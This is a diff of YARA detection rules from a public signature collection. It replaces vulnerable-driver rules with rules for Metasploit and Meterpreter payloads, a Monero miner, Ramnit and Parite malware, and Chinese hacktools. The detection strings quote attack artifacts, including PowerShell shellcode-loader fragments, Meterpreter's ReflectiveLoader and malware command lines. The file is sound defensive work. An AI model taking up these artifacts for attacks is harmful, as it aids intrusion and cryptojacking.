+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L304-L323"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed6e408575b88ff67479ac1b1a2f37c5fad3ec200a446700840ad4245386bfc4"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4ec95724b4c2b6cb57d2c63332a1dd6d4a0101707f42e3d693c9aab19f6c9f87"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "kernel32.dll WaitForSingleObject)," ascii
+		$s2 = "= ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')" ascii
+		$s3 = "GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object" ascii
+		$s4 = ".DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual'," ascii
+		$s5 = "= [System.Convert]::FromBase64String(" ascii
+		$s6 = "[Parameter(Position = 0, Mandatory = $True)] [Type[]]" fullword ascii
+		$s7 = "DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard," ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		5 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_B50F : FILE
+rule SIGNATURE_BASE_MAL_Metasploit_Framework_UA : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
-		author = "Florian Roth"
-		id = "fc6032d2-ef08-5fdb-be73-39dd42185b13"
-		date = "2023-06-14"
+		description = "Detects User Agent used in Metasploit Framework"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5a18456-3a07-5b58-ad95-086152298a1f"
+		date = "2018-08-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L332-L352"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e"
-		hash = "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b"
-		logic_hash = "662af5d505b5fee483356c1b5bcf2767c594bd690d5367a7b9f7ac9bea6b3c9d"
-		score = 40
+		reference = "https://github.com/rapid7/metasploit-framework/commit/12a6d67be48527f5d3987e40cac2a0cbb4ab6ce7"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L325-L339"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "986fea99735b93aed9dbf72582c009e11a1e7ba19b256902f93312474ef34b4a"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1743e1bd4176ffb62a1a0503a0d76033752f8bd34f6f09db85c2979c04bbdd29"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_11BD : FILE
+rule SIGNATURE_BASE_HKTL_Meterpreter_Inmemory
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0x64.sys"
-		author = "Florian Roth"
-		id = "370f3fc6-6199-5c19-a0b5-8c02fb89f30a"
-		date = "2023-06-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L355-L376"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
-		hash = "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062"
-		logic_hash = "e5777a3a1e71f287c18434a48c2990abd3e202c919378a9473541abe2b8f0ba5"
-		score = 40
+		description = "Detects Meterpreter in-memory"
+		author = "netbiosX, Florian Roth"
+		id = "29c3bb7e-4da8-5924-ada7-2f28d9352009"
+		date = "2020-06-29"
+		modified = "2023-04-21"
+		reference = "https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_metasploit_payloads.yar#L341-L363"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b39dbcb276842a1306205cf2e51ce86b6d2aa21353d277df15f4ea3b3d97678"
+		score = 85
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d00320030003000380020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$sxc1 = { 6D 65 74 73 72 76 2E 64 6C 6C 00 00 52 65 66 6C
+               65 63 74 69 76 65 4C 6F 61 64 65 72 }
+		$sxs1 = "metsrv.x64.dll" ascii fullword
+		$ss1 = "WS2_32.dll" ascii fullword
+		$ss2 = "ReflectiveLoader" ascii fullword
+		$fp1 = "SentinelOne" ascii wide
+		$fp2 = "fortiESNAC" ascii wide
+		$fp3 = "PSNMVHookMS" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		(1 of ($sx*) or 2 of ($s*)) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Windowswinowsdriverkitsprovider_Hwrwdrvsys_Hardwarereadwritedriver_21CC : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_XMR_Miner_May19_1 : HIGHVOL FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwRwDrv.sys"
-		author = "Florian Roth"
-		id = "fa8e9fd9-7d07-5e05-a8d0-3769b9dd9157"
-		date = "2023-06-14"
+		description = "Detects Monero Crypto Coin Miner"
+		author = "Florian Roth (Nextron Systems)"
+		id = "233d1d47-de67-55a9-ae7e-46b5dd34e6ce"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L379-L399"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21"
-		logic_hash = "da6f9de9c0529ef274b989f63d9d6308ea78a0f7f91d81caaafb5478412c33eb"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L15-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85a65fd2355850b7f5261ad41091e181562938356ba3dae7d867f7ac8922a16e"
+		score = 85
 		quality = 85
-		tags = "FILE"
+		tags = "HIGHVOL, FILE"
+		hash1 = "d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f0077007300ae002000770069006e006f007700730020003700200064007200690076006500720020006b006900740073002000700072006f00760069006400650072 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "donate.ssl.xmrig.com" fullword ascii
+		$x2 = "* COMMANDS     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
+		$s1 = "[%s] login error code: %d" fullword ascii
+		$s2 = "\\\\?\\pipe\\uv\\%p-%lu" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <14000KB and (pe.imphash()=="25d9618d1e16608cd5d14d8ad6e1f98e" or 1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_AD8F : FILE
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_CN_Prochook_May19_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "25dc4405-52ae-51f9-9afd-49f2a9fcaa08"
-		date = "2023-06-14"
+		description = "Detects hacktool used by Chinese threat groups"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ae4e2613-8254-5ea6-af88-2f08ebe4da33"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L402-L422"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833"
-		logic_hash = "fba0440ab68b148f26224cce5d2b8bdb684a2d185502fb3b920fe12288e6d775"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L38-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "de55990c130702a05e96ee769707a81ce0ec58a515d75a9a99b20265ce3db682"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
+		hash1 = "02ebdc1ff6075c15a44711ccd88be9d6d1b47607fea17bef7e5e17f8da35293e"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="343d580dd50ee724746a5c28f752b709"
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3124 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_PDB_CN_Threat_Actor_May19_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "25893130-a0b5-5c5c-b7d2-e22bf8eec311"
-		date = "2023-06-14"
+		description = "Detects PDB path user name used by Chinese threat actors"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fc6969ed-5fc1-5b3b-9659-c6fc1c9e2f9c"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L425-L445"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5"
-		logic_hash = "4e22250223e272624f9608e7981ba91c1fb0e00eaf6d8388b81ad91fd8dbcc5c"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L52-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adcfe3d4bc6fcaf6be4f70c91fb2150bfa2d61f1ba84f96a0bf0c39ed0380b6a"
+		score = 65
 		quality = 85
 		tags = "FILE"
+		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004600720065007100750065006e00630079005f00430043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$x1 = "C:\\Users\\zcg\\Desktop\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 1 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Iobit_Monitorsys_Advancedsystemcare_E4A7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Ramnit_May19_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Monitor_win10_x64.sys"
-		author = "Florian Roth"
-		id = "65b75be5-98a2-56ca-bb4a-cfd0c6871c0e"
-		date = "2023-06-14"
+		description = "Detects Ramnit malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f8fa3557-556e-5680-9f1a-2ecf118ade75"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L448-L468"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb"
-		logic_hash = "798dad45f7ac1267da440c3ca7aba1da1dbd2bdead9b6979379902e009bbd2a2"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L67-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51d574f457c37eba3c29f869e03244b9471be6f6c8319aa0ddfad34be748eb53"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f006200690074002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310031 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e006300650064002000530079007300740065006d0043006100720065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		hash1 = "d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="500cd02578808f964519eb2c85153046"
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Phoenixtechnologiesltd_Phlashnt_Winphlash_65DB : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Parite_Malware_May19_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PhlashNT.sys"
-		author = "Florian Roth"
-		id = "7c0b1c20-b3ef-56e9-b2e2-e2542c7a85e3"
-		date = "2023-06-14"
+		description = "Detects Parite malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f4c9da17-9894-5243-828a-827accb0bac5"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L471-L491"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890"
-		logic_hash = "52b33a82d9835242e397f693094494508a9a1e17ab7125ad6818130f4b2dc2de"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L80-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b458b05178f18be1e936c1b42bbd91c739f288570fca759b85f1bb143899f1a8"
+		score = 80
 		quality = 85
 		tags = "FILE"
+		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
+		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
+		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
+		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300570069006e0046006c006100730068002000440072006900760065007200200066006f0072002000570069006e0064006f007700730020004e0054 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500048004c004100530048004e0054 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00500068006c006100730068 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500048004c004100530048004e0054002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800630029002000500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e00200032003000300030002d0032003000300033 }
+		$s1 = "taskkill /im cmd.exe /f" fullword ascii
+		$s2 = "LOADERX64.dll" fullword ascii
+		$x1 = "\\dllhot.exe" ascii
+		$x2 = "dllhot.exe --auto --any --forever --keepalive" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <10000KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7196 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Parite_Malware_May19_2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
-		author = "Florian Roth"
-		id = "3b631d10-d727-53f8-8f56-87695e305198"
-		date = "2023-06-14"
+		description = "Detects Parite malware based on Imphash"
+		author = "Florian Roth (Nextron Systems)"
+		id = "33970268-610c-5abf-9e9e-83dae0c81064"
+		date = "2019-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L494-L514"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d"
-		logic_hash = "c69a031ad9d7eff41358cd2ae9404c25c48ca747ac5fc9b806e48be2fe59aee8"
-		score = 40
+		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_nansh0u.yar#L102-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "060a26ed6679b7038f1a89385220ad9112d3102023ea9d141332077f79bbe728"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }
+		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
+		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
+		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
+		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <18000KB and (pe.imphash()=="b132a2719be01a6ef87d9939d785e19e" or pe.imphash()=="78f4f885323ffee9f8fa011455d0523d")
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_133E : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EXPL_Strings_CVE_POC_May19_1 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
-		author = "Florian Roth"
-		id = "f1f06952-1500-57af-8486-eb127a90b110"
-		date = "2023-06-14"
+		description = "Detects strings used in CVE POC noticed in May 2019"
+		author = "Florian Roth (Nextron Systems)"
+		id = "df11e0b1-e907-5a24-a3e7-0e78acb379f7"
+		date = "2019-05-31"
 		modified = "2023-12-05"
